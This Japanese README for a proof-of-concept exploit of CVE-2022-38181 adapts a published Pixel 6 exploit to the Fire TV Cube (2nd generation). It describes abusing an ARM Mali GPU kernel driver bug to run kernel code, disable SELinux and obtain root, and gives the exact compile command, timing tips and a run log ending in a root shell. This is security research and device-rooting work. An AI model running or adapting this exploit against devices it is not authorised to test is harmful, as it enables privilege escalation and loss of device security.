
CVE-2022-38181 POC for FireTV 第2世代 Cube (raven)
これはセキュリティ研究者 Man Yue Mo 氏の Pixel 6 POC (CVE_2022_38181 用) のフォークです。彼の詳細な脆弱性解説は こちら をご覧ください。FireOS の 32 ビットユーザースペースと、第2世代 Cube の古い Bifrost ドライバー (r16p0) および Linux カーネル (4.9.113) バージョンに対応するために変更が加えられています。この POC は ARM Mali カーネルドライバーのバグを悪用して任意のカーネルコード実行を達成し、SELinux を無効化して root 権限を取得します。
ndk-21 で clang を使用してコンパイルするために以下のコマンドを使用しました:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi30-clang -DSHELL mali_shrinker_mmap32.c -o raven_shrinker
このエクスプロイトは、Cube の起動後 30〜90 秒以内に実行すると最も高い信頼性が得られます。
raven:/ $ /data/local/tmp/raven_shrinker
fingerprint: Amazon/raven/raven:9/PS7624.3337N/0026810845440:user/amz-p,release-keys
failed, retry.
failed, retry.
failed, retry.
failed, retry.
region freed 80
alias gpu va 100c85000
read 0
cleanup flush region
release_mem_pool
jit_freed
jit_free commit: 2 0
Found freed_idx 2
Found pgd 23, 100cce000
overwrite addr : 104100634 634
overwrite addr : 104300634 634
overwrite addr : 1041001c4 1c4
overwrite addr : 1043001c4 1c4
result 50
raven:/ #